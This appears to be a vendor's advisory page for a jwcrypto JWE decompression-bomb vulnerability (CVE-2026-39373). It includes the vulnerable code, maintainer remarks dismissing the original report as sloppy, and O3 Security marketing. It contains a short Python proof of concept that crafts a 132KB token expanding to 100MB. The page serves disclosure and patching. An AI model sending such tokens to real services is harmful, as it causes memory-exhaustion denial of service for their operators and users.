Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-fjrm-76x2-c4q4

MEDIUM

GHSA-fjrm-76x2-c4q4 is a medium-severity (CVSS 5.3) CWE-409 vulnerability in jwcrypto. O3 Security confirms whether GHSA-fjrm-76x2-c4q4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

JWCrypto: JWE ZIP decompression bomb

Also known asCVE-2026-39373PYSEC-2026-70
Published
Apr 8, 2026
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍jwcrypto

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.

Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.

NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.

NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7

Details

The vulnerable code in jwcrypto/jwe.py:

if len(data) > default_max_compressed_size:
    raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)

The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.

PoC

Tested on jwcrypto 1.5.6 (patched version):

import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time

key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100  # 100MB uncompressed

token = jwe.JWE(
    plaintext=bomb_data,
    protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB")  # 132.8 KB — under 250KB limit

tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB")  # 100 MB

Output:

Token size: 132.8 KB
Decompressed: 100 MB

Impact

An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIjwcryptoall versions1.5.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jwcrypto. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update jwcrypto to 1.5.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fjrm-76x2-c4q4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fjrm-76x2-c4q4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fjrm-76x2-c4q4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion. Although this is technically not unbounded I do recognize that it may be too much for
O3 Security · Impact-Aware SCA

Is GHSA-fjrm-76x2-c4q4 in your dependencies?

O3 detects GHSA-fjrm-76x2-c4q4 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.